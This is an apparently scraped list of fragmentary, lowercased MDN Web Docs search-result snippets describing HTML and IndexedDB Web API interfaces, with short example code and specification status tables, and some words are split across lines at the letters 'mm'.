dicating whether the dialog is available for interaction. syntax dialoginstance.open = true; var myopenvalue = dialoginstance.open; value a boolean representing the state of the open html attribute. true means it is set, and therefore the dialog is shown. false means it not set, and therefore the dialog is not shown. the property is now read only — it is possible to set the value to progra
mmatically show or hide the dialog. examples the following example shows a simple button that, when clicked, opens a <dialog> containing a form via the showmodal() method. from there you can click the cancel button to close the dialog (via the htmldialogelement.close() method), or submit the form via the submit button. <!-- simple pop-up dialog box, containing a form --> <dialog id="favdialog...
...al(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventlistener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> note: you can find this example on github as htmldialogelement-basic (see it live also). specifications specification status co
mment html living standardthe definition of 'open' in that specification. living standard html 5.1the definition of 'open' in that specification. reco
mmendation ...
HTMLElement.isContentEditable - Web APIs
h</p> <p id="infotext1">can edit the first paragraph? </p> <p id="infotext2">can edit the second paragraph? ...
...innerhtml += document.getelementbyid('mytext2').iscontenteditable; result specifications specification status co
mment html living standardthe definition of 'htmlelement.contenteditable' in that specification. living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'htmlelement.contenteditable' in that specification. reco
mmendation snapshot of html living standard, no change from html5 html5the definition of 'htmlelement.contenteditable' in that specification. reco
mmendation snapshot of html living standard, initial definition. ...
HTMLElement.lang - Web APIs
the default value of this attribute is unknown. note that this attribute, though valid at the individual element level described here, is most often specified for the root element of the document. ...
...e text of the current element is written. example // this snippet compares the base language and // redirects to another url based on language if (document.documentelement.lang === "en") { window.location.href = "some_document.html.en"; } else if (document.documentelement.lang === "ru") { window.location.href = "some_document.html.ru"; } specification specification status co
mment document object model (dom) level 2 html specificationthe definition of 'lang' in that specification. obsolete ...
HTMLFieldSetElement - Web APIs
ldsetelement.reportvalidity() always returns true because <fieldset> objects are never candidates for constraint validation. htmlfieldsetelement.setcustomvalidity() sets a custom validity message for the field set. if this message is not the empty string, then the field set is suffering from a custom validity error, and does not validate. ...
... set. if this message is not the empty string, then the field set is suffering from a custom validity error, and does not validate. specifications specification status co
mment html living standardthe definition of 'htmlfieldsetelement' in that specification. living standard html 5.1the definition of 'htmlfieldsetelement' in that specification. reco
mmendation html5the definition of 'htmlfieldsetelement' in that specification. reco
mmendation the following properties have been added: disabled, elements, name, type, valdiationmessage, validity, and willvalidate. the following methods have been added: checkvalidity(), setcustomvalidity(). document object model (dom) level 2 html specificationthe definition of 'htmlf...
HTMLFormElement.reportValidity() - Web APIs
n constraints. when false is returned, cancelable invalid events are fired for each invalid child and validation problems are reported to the user. ...
...['myform'].addeventlistener('submit', function() { document.forms['myform'].reportvalidity(); }, false); specifications specification status co
mment html living standardthe definition of 'htmlformelement.reportvalidity()' in that specification. ...
HTMLFormElement - Web APIs
from its parent, htmlelement. checkvalidity() returns true if the element's child controls are subject to constraint validation and satisfy those contraints; returns false if some controls do not satisfy their constraints. fires an event named invalid at any control that does not satisfy its constraints; such controls are considered invalid if the event is not canceled. it is up to the progra
mmer to decide how to respond to false. reportvalidity() returns true if the element's child controls satisfy their validation constraints. when false is returned, cancelable invalid events are fired for each invalid child and validation problems are reported to the user. requestsubmit() requests that the form be submitted using the specified submit button and its corresponding configuration. r...
...abel></p> <p><label><input type="checkbox" name="vehicle" value="car">i have a car</label></p> </fieldset> <p><button>submit</button></p> </form> </body> </html> submitting forms and uploading files using xmlhttprequest if you want to know how to serialize and submit a form using the xmlhttprequest api, please read this paragraph. specifications specification status co
mment html living standardthe definition of 'htmlformelement' in that specification. living standard the following method has been added: requestautocomplete(). html5the definition of 'htmlformelement' in that specification. reco
mmendation the elements properties returns an htmlformcontrolscollection instead of a raw htmlcollection. this is mainly a technical change...
HTMLFrameSetElement - Web APIs
the htmlframesetelement interface provides special properties (beyond those of the regular htmlelement interface they also inherit) for manipulating <frameset> elements. properties inherits properties from its parent, htmlelement and from windoweventhandlers. htmlframesetelement.cols is a domstring structured as a co
mma-seperated list specifing the width of each column inside a frameset. htmlframesetelement.rows is a domstring structured as a co
mma-seperated list specifing the height of each column inside a frameset. methods no specific method; inherits methods from its parent, htmlelement and from windoweventhandlers. event handlers no specific event handler; inherits event handlers from its parent, htmlelement and from windoweventhandlers. windoweventhandlers.onafter...
...handlers.onresize is an eventhandler representing the code to be called when the resize event is raised. windoweventhandlers.onstorage is an eventhandler representing the code to be called when the storage event is raised. windoweventhandlers.onunload is an eventhandler representing the code to be called when the unload event is raised. specifications specification status co
mment html living standardthe definition of 'htmlframesetelement' in that specification. living standard from the html5 snapshot, the windoweventhandlers interface now have a onlanguagechange property. html5the definition of 'htmlframesetelement' in that specification. reco
mmendation snapshot of a previous html living standard frames are now obsolete. implements win...
HTMLHtmlElement - Web APIs
s properties from its parent, htmlelement. htmlhtmlelement.version is a domstring representing the version of the html document type definition (dtd) that governs this document. this property should not be used any more as it is non-conforming. simply omit it. methods no specific method; inherits methods from its parent, htmlelement. ...
...uld not be used any more as it is non-conforming. simply omit it. methods no specific method; inherits methods from its parent, htmlelement. specifications specification status co
mment html living standardthe definition of 'htmlhtmlelement' in that specification. living standard html 5.1the definition of 'htmlhtmlelement' in that specification. reco
mmendation no change since the last snapshot html5the definition of 'htmlhtmlelement' in that specification. reco
mmendation the version element has been removed, as it is non-conforming. document object model (dom) level 2 html specificationthe definition of 'htmlhtmlelement' in that specification. obsolete reflecting the element change in html 4.01 specification, th...
HTMLHyperlinkElementUtils - Web APIs
there are no objects of this type, but several objects such as htmlanchorelement and htmlareaelement implement it. properties note: this interface doesn't inherit any property. htmlhyperlinkelementutils.href this a stringifier property that returns a usvstring containing the whole url, and allows the href to be updated. ...
... a usvstring containing the origin of the url (that is its scheme, its domain and its port). methods note: this interface doesn't inherit any method. htmlhyperlinkelementutils.tostring() this returns a usvstring containing the whole url. it is a synonym for htmlhyperlinkelementutils.href, though it can't be used to modify the value. specifications specification status co
mment html living standardthe definition of 'htmlhyperlinkelementutils' in that specification. living standard initial definition ...
HTMLImageElement.alt - Web APIs
this is true whether the /me image is in a bitmapped format such as png or jpeg or in a vector format like svg. for a map, the alt text could be directions to the place indicated by the map, similarly to how you would explain it verbally. for a chart, the text could describe the items in the chart and their values. for a diagram, the text could be an explanation of the concept prese...
... 70% 90%, 50% 100%, 0 100%, 0 0); } .contents { margin-top: 1em; font: 16px arial,helvetica,verdana,sans-serif; } result other images images simply showing objects or scenes should have alt text describing what's seen in the image. a photo of a yellow teapot might literally have its alt attribute set to "a yellow teapot". specifications specification status co
mment html living standardthe definition of 'htmlimageelement.alt' in that specification. unknown browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreropera...
HTMLImageElement.border - Web APIs
if you'd like to contribute to the data, please ch...
...change the color and other features of the border: <img src="image.png" style="border: dashed 2px #333388;"> specifications specification status co
mment html living standardthe definition of 'htmlimageelement.border' in that specification. living standard html 4.01 specificationthe definition of 'htmlimageelement.border' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung interne...
HTMLImageElement.decode() - Web APIs
the decode() method of the htmlimageelement interface returns a promise that resolves when the image is decoded and it is safe to append the image to the dom. this can be used to initiate loading of the image prior to attaching it to an element in the dom (or adding it to the dom as a new element), so that the image can be rendered i
mmediately upon being added to the dom. this, in turn, prevents the rendering of the next frame after adding the image to the dom from causing a delay while the image loads. syntax var promise = htmlimageelement.decode(); parameters none. return value a promise which is resolved once the image data is ready to be used. exceptions encodingerror a domexception indicating that an error occurred while decoding the image. usage notes one potential use c...
... living standard initial definition. ...
HTMLImageElement.name - Web APIs
ntax htmlimageelement.name = namestring; namestring = htmlimageelement.name; value a domstring providing a name by which the image can be referenced. important: this property is deprecated and is only in the specification still for backward compatibility purposes. since it functions identically to id, you can and should use it instead. ...
...ll for backward compatibility purposes. since it functions identically to id, you can and should use it instead. specifications specification status co
mment html living standardthe definition of 'htmlimageelement.name' in that specification. living standard html 4.01 specificationthe definition of 'htmlimageelement.name' in that specification. reco
mmendation provides additional details not available in the html 5 browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox f...
HTMLImageElement.sizes - Web APIs
s. this provides the ability to automatically select among different images—even images of different orientations or aspect ratios—as the document state changes to match different media conditions. each condition is specified using the same conditional format used by media queries. syntax let sizes = htmlimageelement.sizes; htmlimageelement.sizes = sizes; value a usvstring containing a co
mma-separated list of source size descriptors followed by an optional fallback size. each source size descriptor is comprised of a media condition, then at least one whitespace character, then the source size value to use for the image when the media condition evaluates to true. media conditions each source size descriptor consists of a media condition as defined by the media queries standard. bec...
...nt.getelementbyid("break40"); let break50 = document.getelementbyid("break50"); break40.addeventlistener("click", event => image.sizes = image.sizes.replace(/50em,/, "40em,")); break50.addeventlistener("click", event => image.sizes = image.sizes.replace(/40em,/, "50em,")); result this result may be viewed in its own window here. specifications specification status co
mment html living standardthe definition of 'htmlimageelement.sizes' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exp...
HTMLInputElement: invalid event - Web APIs
when a form is submitted, invalid events are fired at each form control that is invalid. ...
...er" min="1" max="10" required></label></li> <li><input type="submit" value="submit"></li> </ul> </form><p id="log"></p> javascript const input = document.queryselector('input') const log = document.getelementbyid('log') input.addeventlistener('invalid', logvalue) function logvalue(e) { log.textcontent += e.target.value } result specifications specification status co
mment html living standardthe definition of 'invalid event' in that specification. living standard html 5.1the definition of 'invalid event' in that specification. reco
mmendation html5the definition of 'invalid event' in that specification. reco
mmendation ...
HTMLInputElement.setRangeText() - Web APIs
lighted (selected) afterwards. ...
...'text-box'); input.focus(); input.setrangetext('already', 14, 17, 'select'); } result specifications specification status co
mment html living standardthe definition of 'htmlinputelement.setselectionrange()' in that specification. ...
HTMLLinkElement.referrerPolicy - Web APIs
rpolicy property reflect the html referrerpolicy attribute of the <link> element defining which referrer is sent when fetching the resource. ...
...etching the resource. see the http referrer-policy header for details. ...
HTMLLinkElement - Web APIs
the whatwg living standard still has it labeled obsolete. until this discrepancy is resolved, you should still assume it is obsolete. htmllinkelement.target is a domstring representing the name of the target frame to which the resource applies. methods no specific method; inherits methods from its parent, htmlelement, and linkstyle. specifications specification status co
mment preload candidate reco
mmendation defines <link rel="preload">, and the as property. note that currently firefox only supports preloading of cacheable resources. html living standardthe definition of 'htmllinkelement' in that specification. living standard adds the following properties: crossorigin, referrerpolicy, and as. html 5.1the definition of 'htmlli...
...ndation defines <link rel="preload">, and the as property. note that currently firefox only supports preloading of cacheable resources. html living standardthe definition of 'htmllinkelement' in that specification. living standard adds the following properties: crossorigin, referrerpolicy, and as. html 5.1the definition of 'htmllinkelement' in that specification. reco
mmendation html5the definition of 'htmllinkelement' in that specification. reco
mmendation the following properties are now obsolete: charset, rev, and shape. the following properties have been added: rellist, and sizes. document object model (dom) level 2 html specificationthe definition of 'htmllinkelement' in that specification. obsolete added a second inherit...
HTMLMarqueeElement - Web APIs
of the marquee. examples <marquee>this text will scroll from right to left</marquee> <marquee direction="up">this text will scroll from bottom to top</marquee> <marquee direction="down" width="250" height="200" behavior="alternate" style="border:solid"> <marquee behavior="alternate"> this text will bounce </marquee> </marquee> specifications specification status co
mment html living standardthe definition of 'htmlmarqueeelement' in that specification. living standard made obsolete in favor of css but define its expected behavior for backward compatibility. html 5.2the definition of 'htmlmarqueeelement' in that specification. reco
mmendation no changes. html 5.1the definition of 'htmlmarqueeelement' in that specification. ...
... html living standardthe definition of 'htmlmarqueeelement' in that specification. living standard made obsolete in favor of css but define its expected behavior for backward compatibility. html 5.2the definition of 'htmlmarqueeelement' in that specification. reco
mmendation no changes. html 5.1the definition of 'htmlmarqueeelement' in that specification. reco
mmendation no changes. html5the definition of 'htmlmarqueeelement' in that specification. reco
mmendation made obsolete in favor of css but define its expected behavior for backward compatibility. ...
HTMLMediaElement.autoplay - Web APIs
ride autoplay in order to prevent disruptive audio or video from playing without permission or in the background. do not rely on autoplay actually starting playback and instead use play event. examples ... ...
...ck and instead use play event. examples ... <video id="video" controls> <source src="https://player.vimeo.com/external/250688977.sd.mp4?s=d14b1f1a971dde13c79d6e436b88a6a928dfe26b&profile_id=165"> </video> *** disable autoplay (reco
mmended) *** false is the default value document.queryselector('#video').autoplay = false; specifications specification status co
mment html living standardthe definition of 'htmlmediaelement.autoplay' in that specification. living standard no change from html5 html5the definition of 'htmlmediaelement.autoplay' in that specification. reco
mmendation initial definition. ...
HTMLMediaElement.crossOrigin - Web APIs
the htmlmediaelement.crossorigin property is the cors setting for this image element. see cors settings attributes for details. ...
...origin property is the cors setting for this image element. see cors settings attributes for details. specifications specification status co
mment html living standardthe definition of 'htmlmediaelement.crossorigin' in that specification. ...
HTMLMediaElement.ended - Web APIs
syntax var isended = htmlmediaelement.ended value a boolean which is true if the media contained in the element has finished playing. ...
...lue of the stream's active property is false. ...
HTMLMediaElement.error - Web APIs
ideo element and adds an error handler to it; the error handler simply logs the details to console. ...
...+ videoelement.error.code + "; details: " + videoelement.error.message); } videoelement.src = "https://example.com/bogusvideo.mp4"; specifications specification status co
mment html living standardthe definition of 'htmlmediaelement.error' in that specification. living standard html5the definition of 'htmlmediaelement.error' in that specification. reco
mmendation ...
HTMLMediaElement.loop - Web APIs
the htmlmediaelement.loop property reflects the loop html attribute, which controls whether the media element should start over when it reaches the end. syntax var loop = video.loop; audio.loop = true; value a boolean. ...
...op = video.loop; audio.loop = true; value a boolean. ...
HTMLMediaElement.muted - Web APIs
the htmlmediaelement.muted indicates whether the media element muted. syntax var ismuted = audioorvideo.muted audio.muted = true; value a boolean. true means muted and false means not muted. ...
.... true means muted and false means not muted. ...
HTMLMediaElement.networkState - Web APIs
l listen for the audio element to begin playing and then check if it is still loading data. ...
...le'); obj.addeventlistener('playing', function() { if (obj.networkstate === 2) { // still loading... ...
HTMLMediaElement: pause event - Web APIs
the event is sent once the pause() method returns and after the media element's paused property has been changed to true. ...
...ent) => { console.log('the boolean paused property is now true. either the ' + 'pause() method was called or the autoplay attribute was toggled.'); }; specifications specification status html living standardthe definition of 'pause media event' in that specification. living standard html5the definition of 'pause media event' in that specification. reco
mmendation ...
HTMLSelectElement.namedItem() - Web APIs
]; parameters str is a domstring. return value item is a htmloptionelement. ...
...]['myformcontrol']['o1']; // returns the htmloptionelement representing #o1 specifications specification status co
mment html living standardthe definition of 'htmlselectelement.nameditem()' in that specification. living standard no change since the latest snapshot, html5. ...
HTMLSelectElement.remove() - Web APIs
document object model (dom) level 2 html specificationthe definition of 'htmlselectelement.remove()' in that specificati...
... document object model (dom) level 2 html specificationthe definition of 'htmlselectelement.remove()' in that specification. ...
HTMLSelectElement.selectedIndex - Web APIs
...
...lem.selectedindex; // add that data to the <p> pelem.innerhtml = 'selectedindex: ' + index; }) specifications specification status co
mment html living standardthe definition of 'htmlselectelement' in that specification. living standard no change since the latest snapshot, html5. html5the definition of 'htmlselectelement' in that specification. reco
mmendation initial definition, snapshot of html living standard. ...
HTMLSelectElement.selectedOptions - Web APIs
output = "you didn't order anything!"; } outputbox.innerhtml = output; }, false); this script sets up a click event listener on the "order now" button. when clicked, the event handler fetches the list of selected options using selectedoptions, then iterates over the options in the list. a string is constructed to list the ordered items, with logic to build the list using proper english gra
mmar rules (including a serial co
mma). result the resulting content looks like this in action: specifications specification status co
mment html living standardthe definition of 'htmlselectelement.selectedoptions' in that specification. living standard no change from html5 html5the definition of 'htmlselectelement.selectedoptions' in that specification. ...
...les (including a serial co
mma). result the resulting content looks like this in action: specifications specification status co
mment html living standardthe definition of 'htmlselectelement.selectedoptions' in that specification. living standard no change from html5 html5the definition of 'htmlselectelement.selectedoptions' in that specification. reco
mmendation initial definition. ...
HTMLSelectElement.setCustomValidity() - Web APIs
the htmlselectelement.setcustomvalidity() method sets the custom validity message for the selection element to the specified message. use the empty string to indicate that the element does not have a custom validity error. syntax selectelt.setcustomvalidity(string); parameters string is the domstring containing the error message. ...
...rs string is the domstring containing the error message. specifications specification status co
mment html living standardthe definition of 'htmlselectelement.setcustomvalidity()' in that specification. living standard no change since the latest snapshot, html5. ...
HTMLSpanElement - Web APIs
onospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlspanelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties, but inherits properties from: htmlelement. methods this interface has no methods, but inherits methods from: htmlelement. ...
...s no properties, but inherits properties from: htmlelement. methods this interface has no methods, but inherits methods from: htmlelement. specifications specification status co
mment html living standardthe definition of 'htmlspanelement' in that specification. living standard html 5.2the definition of 'htmlspanelement' in that specification. reco
mmendation html 5.1the definition of 'htmlspanelement' in that specification. reco
mmendation html5the definition of 'htmlspanelement' in that specification. reco
mmendation initial definition, as <span> was associated with an htmlelement before that. ...
HTMLStyleElement.media - Web APIs
the htmlstyleelement.media property specifies the intended destination medium for style information. syntax medium = style.media style.media = medium parameters medium is a string describing a single medium or a co
mma-separated list. ...
...screen" /> <style id="inlinestyle" rel="stylesheet" type="text/css" media="screen, print"> p { color: blue; } </style> </head> <body> <script> alert('linkedstyle: ' + document.getelementbyid('linkedstyle').media); // 'screen' alert('inlinestyle: ' + document.getelementbyid('inlinestyle').media); // 'screen, print' </script> </body> </html> specifications specification status co
mment html living standardthe definition of 'htmlstyleelement' in that specification. living standard html 5.1the definition of 'htmlstyleelement' in that specification. reco
mmendation html5the definition of 'htmlstyleelement' in that specification. reco
mmendation document object model (dom) level 2 html specificationthe definition of '...
HTMLTableElement.tHead - Web APIs
the htmltableelement.thead represents the <thead> element of a <table> . its value will be null if there is no such element. syntax thead_element = table.thead; table.thead = thead_element; parameters thead_element is a htmltablesectionelement. example if (table.thead == my_head_el) { // ... ...
...parameters thead_element is a htmltablesectionelement. example if (table.thead == my_head_el) { // ... } specifications specification status co
mment html living standardthe definition of 'htmltableelement.thead' in that specification. living standard no change from html5 html5the definition of 'htmltableelement.thead' in that specification. reco
mmendation no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'htmltableelement.thead' in that specification. obsolete no change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'htmltableelement.thead' in that ...
HTMLTemplateElement.content - Web APIs
the htmltemplateelement.content property returns a <template> element's template contents (a documentfragment). ...
... var templateelement = document.queryselector("#foo"); var documentfragment = templateelement.content.clonenode(true); specifications specification status co
mment html living standardthe definition of 'htmltemplateelement interface' in that specification. living standard html5the definition of 'htmltemplateelement interface' in that specification. reco
mmendation initial definition ...
HTMLTemplateElement - Web APIs
</svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface inherits the properties of htmlelement. ...
...representing the <template> element's template contents. methods this interface inherits the methods of htmlelement. ...
HTMLTitleElement - Web APIs
eline="middle">htmltitleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmltitleelement.text is a domstring representing the text of the document's title. methods no specific method; inherits methods from its parent, htmlelement. ...
... is a domstring representing the text of the document's title. methods no specific method; inherits methods from its parent, htmlelement. specifications specification status co
mment html living standardthe definition of 'htmltitleelement' in that specification. living standard html 5.1the definition of 'htmltitleelement' in that specification. reco
mmendation no change from html5 html5the definition of 'htmltitleelement' in that specification. reco
mmendation no change from document object model (dom) level 2 html specification. document object model (dom) level 2 html specificationthe definition of 'htmltitleelement' in that specification. obsolete no change from document object model (dom) level 1 specificatio...
HTMLVideoElement.msZoom - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. mszoom is a read/write property which gets or sets whether the video frame is tri
mmed, on the top and bottom or left and right, to fit the video display. this proprietary property is specific to internet explorer and microsoft edge. syntax htmlvideoelement.mszoom; value boolean value set to true trims the video frame to the display space. set to false the video frame uses letter box or pillarbox to display video. if the native aspect ratio of a video frame, which is defined by the videowidth ...
...ned by the videowidth and videoheight attributes, does not match the aspect ratio of the video tag, which is defined by the width and height attributes, the video is rendered with letterbox or pillarbox format. letterbox and pillarbox are the black bars on either the left and right of the video or the top and bottom of the video. when the mszoom attribute is set to true, the rendered video is tri
mmed to fit the dimensions of the video object. either the top and bottom of the video is tri
mmed or the left and right of the video is tri
mmed. for instance, if the layout space for the video tag is a 4:3 aspect ratio, but the stream coming in is in 16:9 aspect ratio, the mszoom option can be used to render the 16:9 video in 4:3 aspect ratio. the rendered video will then take up the full space of ...
HTMLVideoElement - Web APIs
ect into the media pipeline. htmlvideoelement.msislayoutoptimalforplayback read only indicates whether the video can be rendered more efficiently. htmlvideoelement.msisstereo3d read only determines whether the system considers the loaded video source to be stereo 3-d or not. value set to true indicates source is stereo 3d. htmlvideoelement.mszoom controls whether the video frame is tri
mmed to fit the video display. methods inherits methods from its parent, htmlmediaelement, and from its ancestor htmlelement. htmlvideoelement.getvideoplaybackquality() returns a videoplaybackquality object that contains the current playback metrics. this information includes things like the number of dropped or corrupted frames, as well as the total number of frames. events inherits met...
...his information includes things like the number of dropped or corrupted frames, as well as the total number of frames. events inherits methods from its parent, htmlmediaelement, and from its ancestor htmlelement. listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of this interface. specifications specification status co
mment html living standardthe definition of 'htmlvideoelement' in that specification. living standard ...
In depth: Microtasks and the JavaScript runtime environment - Web APIs
gradually advanced to include powerful features that enable scheduling of tasks, multi-threaded application development, and so forth. to understand where queuemicrotask() comes into play here, it's helpful to understand how the javascript runtime operates when scheduling and running code. javascript execution contexts note: the details here are generally not important to most javascript progra
mmers. this information is provided as a basis for why microtasks are useful and how they function; if you don't care, you can skip this and come back later if you find that you need to. when a fragment of javascript code runs, it runs inside an execution context. there are three types of code that create a new execution context: the global context is the execution context created to run the ma...
...g on the same event loop, each queueing tasks onto the event loop so that their tasks take turns with the processor, one after another. keep in mind that web parlance, the word "window" actually means "browser-level container that web content runs within," including an actual window, a tab, or a frame. there are specific circumstances in which this sharing of an event loop among windows with a co
mmon origin is possible, such as: if one window opened the other window, they are likely to be sharing an event loop. if a window is actually a container within an <iframe>, it likely shares an event loop with the window that contains it. the windows happen to share the same process in a multi-process web browser implementation. the specifics may vary from browser to browser, depending on how...
Dragging and Dropping Multiple Items - Web APIs
ndex=2 after you added three items in two different formats, dt.mozcleardataat("text/uri-list", 1); dt.mozcleardataat("text/plain", 1); you've removed the second item clearing all types, then the old third item becomes new second item, and its index decreases. // [item1] data=url1, index=0 // [item2] data=url3, index=1 fortunately, you don't normally need to clear items often; it's more co
mmon to just add the items only when you know they are needed. co
mmon cases where dragging multiple items is used is when dragging multiple files or bookmarks. in this case, add the appropriate formats for each item. although not required, you should always add the same formats for each item. the ensures that receiving drop targets can expect consistent data. to check if multiple files are being d...
...m, the moztypesat() method is called to get the list of types. ...
Headers.delete() - Web APIs
for security reasons, some headers can only be controller by the user agent. these headers include the forbidden header names and forbidden response header names. syntax myheaders.delete(name); parameters name the name of the http header you want to delete from the headers object. ...
... living standard ...
HmacImportParams - Web APIs
al a number representing the length in bits of the key. ...
... length of the digest generated by the digest function you have chosen. ...
HmacKeyGenParams - Web APIs
optional a number — the length in bits of the key. ...
...ength of the digest generated by the digest function you have chosen. ...
IDBCursor.advance() - Web APIs
if you'd like to contribute to the data, please check out https://github...
...('li'); listitem.innerhtml = '<strong>' + cursor.value.albumtitle + '</strong>, ' + cursor.value.year; list.appendchild(listitem); cursor.advance(2); } else { console.log('every other entry displayed.'); } }; }; specifications specification status co
mment indexed database api 2.0the definition of 'advance()' in that specification. reco
mmendation indexed database api draftthe definition of 'advance()' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet ex...
IDBCursor.delete() - Web APIs
if you'd like to contribute to the data, please check out https://github.com...
...'li'); listitem.innerhtml = '<strong>' + cursor.value.albumtitle + '</strong>, ' + cursor.value.year; list.appendchild(listitem); } cursor.continue(); } else { console.log('entries displayed.'); } }; }; specifications specification status co
mment indexed database api 2.0the definition of 'delete()' in that specification. reco
mmendation indexed database api draftthe definition of 'delete()' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet explo...
IDBCursor.direction - Web APIs
if you'd like to contribute to the data, please check out https://github.co...
...rsor.value.albumtitle + '</strong>, ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.direction); cursor.continue(); } else { console.log('entries displayed backwards.'); } }; }; specifications specification status co
mment indexed database api 2.0the definition of 'direction' in that specification. reco
mmendation indexed database api draftthe definition of 'direction' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet explo...
IDBCursor.key - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/bro...
...nt('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.key); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status co
mment indexed database api 2.0the definition of 'key' in that specification. reco
mmendation indexed database api draftthe definition of 'key' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet explorer...
IDBCursor.primaryKey - Web APIs
if you'd like to contribute to the data, please check out https://gith...
... listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.primarykey); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status co
mment indexed database api 2.0the definition of 'primarykey' in that specification. reco
mmendation indexed database api draftthe definition of 'primarykey' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet e...
IDBCursor.request - Web APIs
browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinter...
...ong>' + cursor.value.albumtitle + '</strong>, ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.request); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status co
mment indexed database api draftthe definition of 'request' in that specification. reco
mmendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari ...
IDBCursor.source - Web APIs
if you'd like to contribute to the data, please check out https://github.com/m...
...'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.source); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status co
mment indexed database api 2.0the definition of 'source' in that specification. reco
mmendation indexed database api draftthe definition of 'source' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet explo...
IDBCursor.update() - Web APIs
if you'd like to contribute to the data, please check out https://github.c...
...eateelement('li'); listitem.innerhtml = '<strong>' + cursor.value.albumtitle + '</strong>, ' + cursor.value.year; list.appendchild(listitem); cursor.continue(); } else { console.log('entries displayed.'); } }; }; specifications specification status co
mment indexed database api 2.0the definition of 'update()' in that specification. reco
mmendation indexed database api draftthe definition of 'update()' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exp...
IDBCursorWithValue.value - Web APIs
if you'd like to contribute to the data, please check out https://github.c...
...i'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.value); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status co
mment indexed database api 2.0the definition of 'source' in that specification. reco
mmendation indexed database api draftthe definition of 'idbdatabase' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet e...
IDBCursorWithValue - Web APIs
if you'd like to contribute to the data, please check out...
...ment.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status co
mment indexed database api 2.0the definition of 'idbcursorwithvalue' in that specification. reco
mmendation indexed database api draftthe definition of 'idbcursorwithvalue' in that specification. reco
mmendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinter...
IDBDatabase.close() - Web APIs
the connection is not actually closed until all transactions created using this connection are complete. no new transactions can be created for this connection once this method is called. methods that create transactions throw an exception if a closing operation is pending. note: this feature is available in web workers. syntax idbdatabase.close(); example // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // opening a database. ...
